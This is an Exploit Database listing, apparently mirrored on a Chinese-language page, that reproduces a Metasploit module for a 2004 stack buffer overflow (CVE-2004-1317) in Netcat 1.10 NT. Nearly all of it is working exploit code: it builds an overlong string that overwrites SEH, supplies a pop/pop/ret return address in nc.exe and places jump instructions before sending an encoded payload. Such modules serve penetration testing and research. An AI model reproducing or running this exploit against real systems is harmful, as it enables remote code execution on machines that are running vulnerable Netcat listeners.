Netcat 1.10 – NT Stack Buffer Overflow (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2010-06-22
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16436/

• ##
  # $Id: netcat110_nt.rb 9587 2010-06-22 23:57:05Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name'		=> 'Netcat v1.10 NT Stack Buffer Overflow',
  			'Description'	=> %q{
  					This module exploits a stack buffer overflow in Netcat v1.10 NT. By sending
  					an overly long string we are able to overwrite SEH. The vulnerability
  					exists when netcat is used to bind (-e) an executable to a port in doexec.c.
  					This module tested successfully using "c:\>nc -L -p 31337 -e ftp".
  				},
  			'Author' => 'patrick',
  			'Arch'			=> [ ARCH_X86 ],
  			'License'		=> MSF_LICENSE,
  			'Version'		=> '$Revision: 9587 $',
  			'References'	=>
  				[
  					[ 'CVE', '2004-1317' ],
  					[ 'OSVDB', '12612' ],
  					[ 'BID', '12106' ],
  					[ 'URL', 'http://www.milw0rm.com/exploits/726' ],
  				],
  			'Privileged'		=> false,
  			'DefaultOptions'	=>
  				{
  					'EXITFUNC'	=> 'thread',
  				},
  			'Payload'		=>
  				{
  					'Space'				=> 236,
  					'BadChars'			=> "\x00\x0a\x0d",
  					'StackAdjustment'	=> -3500,
  				},
  			'Platform' => ['win'],
  			'Targets'=>
  				[
  					# Patrick - Tested OK 2007/09/26 w2ksp0, w2ksp4, xpsp2 en.
  					[ 'Universal nc.exe', { 'Ret' => 0x0040a6ce } ], # p/p/r nc.exe
  				],
  			'DisclosureDate' => 'Dec 27 2004',
  			'DefaultTarget' => 0))
  	end
  
  	def autofilter
  		false
  	end
  
  	def exploit
  		connect
  
  		sploit = rand_text(277, payload_badchars)
  		sploit[0, payload.encoded.length] = payload.encoded
  		sploit[236, 2] = Rex::Arch::X86.jmp_short(6)
  		sploit[240, 4] = [target['Ret']].pack('V')
  		sploit[244, 5] = Rex::Arch::X86.jmp(0xffffff08)
  
  		sock.put(sploit)
  
  		handler
  		disconnect
  	end
  end